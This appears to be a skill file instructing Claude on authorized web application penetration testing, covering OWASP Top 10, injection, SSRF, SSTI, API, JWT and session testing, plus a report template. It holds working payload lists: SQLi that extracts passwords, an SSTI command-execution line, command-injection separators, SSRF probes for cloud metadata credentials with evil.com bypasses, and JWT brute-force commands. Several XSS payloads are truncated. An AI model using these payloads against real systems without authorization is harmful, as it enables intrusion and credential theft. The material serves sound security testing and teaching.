Web Application Security Testing

Web Application Security Testing

Purpose

Enable Claude to assist with comprehensive web application security assessments covering OWASP Top 10, injection testing, API security, authentication analysis, and client-side security. Claude analyzes application behavior, generates test payloads, reviews source code, and produces structured vulnerability reports.

Authorization Required: All testing must be performed on authorized targets only. Confirm scope and written authorization before testing.

Activation Triggers

This skill activates when the user asks about:

• OWASP Top 10 testing or assessment methodology
• SQL injection, XSS, SSRF, SSTI, command injection testing
• API security testing (REST, GraphQL, SOAP)
• Authentication bypass, session management flaws
• Web application firewall (WAF) bypasses for authorized testing
• CORS, CSP, or security header analysis
• OAuth/OIDC security review
• JWT analysis or manipulation
• Burp Suite or OWASP ZAP usage guidance
• Web vulnerability report writing

Prerequisites

pip install requests beautifulsoup4 urllib3 lxml

Recommended tools:

• Burp Suite Community/Pro — Web proxy and scanner
• OWASP ZAP — Open-source web scanner
• sqlmap — Automated SQL injection (authorized use only)
• Nikto — Web server scanner
• ffuf / feroxbuster — Web fuzzer
• jwt_tool — JWT analysis and manipulation

Core Capabilities

1. OWASP Top 10 Assessment

When the user asks to assess for OWASP Top 10 vulnerabilities:

2. Injection Testing

When the user asks to test for injection vulnerabilities:

Input Discovery — Map all injection points:

GET/POST parameters
URL path segments (/users/INJECT/profile)
HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie)
JSON body fields {"name": "INJECT"}
XML body fields <name>INJECT</name>
GraphQL variables {query: "{ user(name: \"INJECT\") }"}
File upload names and metadata

SQL Injection Testing Methodology:

Step 1: Detection — Test for error-based confirmation
  ' → SQL error = likely vulnerable
  ' OR '1'='1 → true condition
  ' OR '1'='2 → false condition
  ' AND SLEEP(5)-- - → time delay = blind SQLi

Step 2: Fingerprint the database
  ' AND 1=CONVERT(int,@@version)-- - → MSSQL version
  ' AND 1=1 UNION SELECT @@version-- - → MySQL
  ' AND 1=(SELECT 1 FROM dual)-- - → Oracle

Step 3: Extraction (authorized PoC only)
  ' UNION SELECT null,username,password,null FROM users-- -

SQLi Payload Library:

-- Basic detection
'
''
`
')
'))
' OR '1'='1'--
' OR 1=1--
" OR "1"="1
' OR 'x'='x

-- MySQL time-based blind
' AND SLEEP(5)-- -
' OR SLEEP(5)=0-- -

-- MSSQL time-based blind
'; WAITFOR DELAY '0:0:5'-- -

-- PostgreSQL time-based blind
'; SELECT pg_sleep(5)-- -

-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- UNION enumeration
' ORDER BY 1-- -  (increment until error to find column count)
' UNION SELECT null-- -
' UNION SELECT null,null-- -
' UNION SELECT null,null,null-- -

XSS Testing Methodology:

Step 1: Find reflection points
  Input: test123  →  Search in source for "test123"
  What HTML context is it in?
    • HTML content: <p>test123</p>
    • Attribute: <input value="test123">
    • JavaScript: var x = "test123";
    • URL: href="test123"

Step 2: Test basic payload for context
  HTML content:    <script>alert(1)</script>
  Attribute:       "
  JavaScript:      ";alert(1);//
  URL:             javascript:alert(1)

Step 3: Bypass filters
  Case variation:  <ScRiPt>alert(1)</ScRiPt>
  No parentheses:  <img src=x
  No script tag:   <img src=x
  SVG:             <svg
  Template:        {{constructor.constructor('alert(1)')()}}

Command Injection Testing:

# Linux injection separators
; id
| id
& id
&& id
`id`
$(id)
%0aid

# Windows injection separators
& whoami
| whoami
; dir
%26 dir

# Blind detection via time delay
; sleep 5
| timeout 5
& ping -n 5 127.0.0.1

# Blind detection via DNS callback (use Burp Collaborator or interactsh)
; nslookup YOUR-CALLBACK-DOMAIN.com

SSRF Testing Methodology:

Step 1: Find URL input points
  - Import functionality (import from URL)
  - Webhooks (send notification to URL)
  - Document converters (URL to PDF)
  - Image loading from URL
  - API calls with URL parameters

Step 2: Test basic SSRF to internal resources
  http://127.0.0.1/
  http://localhost/
  http://192.168.1.1/           # Default gateway
  http://169.254.169.254/       # AWS metadata
  http://metadata.google.internal/  # GCP metadata
  http://[::1]/                 # IPv6 localhost

Step 3: Test cloud metadata services (AWS example)
  http://169.254.169.254/latest/meta-data/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

Step 4: SSRF filter bypass techniques
  http://127.0.0.1@evil.com     # URL confusion
  http://0177.0.0.1/            # Octal encoding
  http://2130706433/            # Decimal encoding
  http://[::1]/                 # IPv6
  http://localhost.evil.com/    # DNS rebinding

SSTI Testing:

# Universal detection probes
{{7*7}}           → 49 (Jinja2, Twig, Freemarker)
${7*7}            → 49 (FreeMarker, Velocity, Mako)
<%= 7*7 %>        → 49 (ERB/Ruby)
#{7*7}            → 49 (Pug/Jade)

# Jinja2 (Python Flask) — confirm RCE path
{{config}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Twig (PHP Symfony)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

3. API Security Testing

When the user asks to test API security:

API Test Checklist:

Authentication:
[ ] Endpoints accessible without token? (missing auth)
[ ] JWT validation: alg:none attack, weak secret, expired token accepted?
[ ] API keys in URL parameters (logged in proxy logs)
[ ] Basic auth over HTTP (not HTTPS)

Authorization:
[ ] BOLA — Change object ID to access other users' data
  GET /api/users/123/orders → try /api/users/124/orders
[ ] Mass assignment — POST with extra privileged fields
  {"username":"user","role":"admin","isAdmin":true}
[ ] Function-level access — access admin endpoints as regular user
  GET /api/admin/users (as non-admin)

Input Validation:
[ ] SQL injection in API parameters
[ ] JSON injection in body
[ ] Rate limiting — rapid requests cause DoS or bypass?
[ ] Request body schema — what happens with extra/unexpected fields?

Data Exposure:
[ ] Response contains sensitive fields not needed by client?
[ ] User A can see User B's PII?
[ ] Error messages reveal internal structure?
[ ] Debug endpoints exposed? /api/debug, /api/swagger, /api/docs

GraphQL-specific tests:

# Introspection — should be disabled in production
{ __schema { types { name fields { name } } } }

# Batch query abuse
[{"query":"{ user(id:1) { name } }"},
 {"query":"{ user(id:2) { name } }"},
 ...repeated 1000 times...]

# Circular query DoS
{ user { friends { friends { friends { name } } } } }

JWT Analysis:

# Decode JWT without verification
jwt_tool JWT_TOKEN_HERE -d

# Test alg:none attack
jwt_tool JWT_TOKEN_HERE -X a

# Test algorithm confusion (RS256 to HS256)
jwt_tool JWT_TOKEN_HERE -X k -pk public.pem

# Brute force weak secret
jwt_tool JWT_TOKEN_HERE -C -d /usr/share/wordlists/rockyou.txt

4. Authentication & Session Testing

When the user asks to test authentication:

Session Token Analysis:

Entropy check:
[ ] Token length sufficient? (≥128 bits recommended)
[ ] Token appears random? (not predictable, sequential, or time-based)
[ ] Test: collect 10+ tokens, check for patterns

Session management:
[ ] Session invalidated on logout? (test by reusing old token)
[ ] Session invalidated on password change?
[ ] Concurrent session limits? (same user, multiple locations)
[ ] Session fixation: set your own session ID before auth, does it persist?
[ ] Secure and HttpOnly flags on session cookie?
[ ] SameSite attribute set? (CSRF protection)

Password security:
[ ] Minimum complexity enforced?
[ ] Account lockout after N failed attempts?
[ ] Password exposed in HTTP response or logs?
[ ] Forgot password link single-use and time-limited?
[ ] Password reset token in URL? (appears in logs/referer)

OAuth 2.0 Testing:

[ ] State parameter present and validated? (CSRF in OAuth flow)
[ ] Redirect URI strictly validated? (open redirect)
[ ] Authorization code reusable? (should be single-use)
[ ] PKCE implemented for public clients?
[ ] Client secret exposed in JavaScript source?
[ ] Scope validation — can client request broader scopes than expected?

5. Security Headers Assessment

When the user asks to review security headers:

# Check all security headers for a target
import requests
headers_to_check = {
    "Strict-Transport-Security": "Required; max-age>=31536000",
    "Content-Security-Policy": "Required; restrict sources",
    "X-Content-Type-Options": "nosniff",
    "X-Frame-Options": "DENY or SAMEORIGIN",
    "Referrer-Policy": "strict-origin-when-cross-origin",
    "Permissions-Policy": "Restrict sensitive features",
    "Cache-Control": "no-store for sensitive endpoints",
}

CORS Misconfiguration Tests:

# Test 1: Arbitrary origin reflected
requests.get(url, headers={"Origin": "https://evil.com"})
# Vulnerable if response contains: Access-Control-Allow-Origin: https://evil.com

# Test 2: Null origin
requests.get(url, headers={"Origin": "null"})
# Vulnerable if response contains: Access-Control-Allow-Origin: null

# Test 3: Subdomain bypass
requests.get(url, headers={"Origin": "https://evil.target.com"})
# Vulnerable if attacker can register evil.target.com or use XSS

Vulnerability Report Template

## Web Security Finding: [Title]

**ID:** WEB-[Number]
**Severity:** [Critical / High / Medium / Low / Info]
**CVSS v3.1:** [Score] | [Vector string]
**CWE:** [CWE-ID — CWE Name]
**OWASP:** [A0X — Category]

### Affected Endpoint
**URL:** `https://target.com/api/endpoint`
**Method:** POST
**Parameter:** `id`

### Description
[Clear description of the vulnerability and why it's a risk]

### Reproduction Steps
1. Navigate to `https://target.com/api/endpoint`
2. Send the following request:

POST /api/endpoint HTTP/1.1 Host: target.com Content-Type: application/json

{"id": "1' OR '1'='1"}

3. Observe the response contains [evidence of vulnerability]

### Impact
[Business and technical impact — data exposure, account takeover, RCE, etc.]

### Evidence
[Screenshot description, response snippet, or sanitized PoC output]

### Remediation
[Specific fix with code example if applicable]

Script Reference

owasp_scanner.py

python scripts/owasp_scanner.py --url https://target.com --output report.json
python scripts/owasp_scanner.py --url https://target.com --tests a01,a03,a07

api_security_tester.py

python scripts/api_security_tester.py --spec openapi.yaml --base-url https://api.target.com --output results.json

Skill Integration

References

• OWASP Top 10 2021
• OWASP Testing Guide v4.2
• OWASP API Security Top 10
• PortSwigger Web Security Academy
• PayloadsAllTheThings
• HackTricks Web Pentesting

v3.0 Enhancements (2026 Update)

Current web & API attack surface:

• OWASP API Security Top 10 (2023) — test BOLA/IDOR (API1), broken authentication (API2), broken object property level authorization / mass assignment (API3), unrestricted resource consumption (API4), and SSRF (API7) as first-class items alongside the web Top 10.
• SSRF → cloud metadata — always attempt cloud IMDS reach (169.254.169.254, GCP metadata.google.internal, Azure IMDS) and require IMDSv2/hop-limit defenses (→ Skill 10).
• HTTP request smuggling — CL.TE/TE.CL/CL.CL desync and HTTP/2 downgrade smuggling against front-end/back-end pairs.
• JWT & OAuth/OIDC — alg=none, algorithm confusion (RS256→HS256), kid injection, weak secrets; OAuth flows: redirect_uri abuse, PKCE downgrade, consent phishing, device-code phishing.
• Client-side & template — prototype pollution, DOM clobbering, SSTI per engine, and modern XSS via mutation/sanitizer bypass.
• GraphQL — introspection abuse, batching/DoS, nested-query depth, and field-level authorization gaps.

Precision rule: each finding ships a reproducible request/response, the affected parameter, and a parameterized/encoded fix at the correct sink.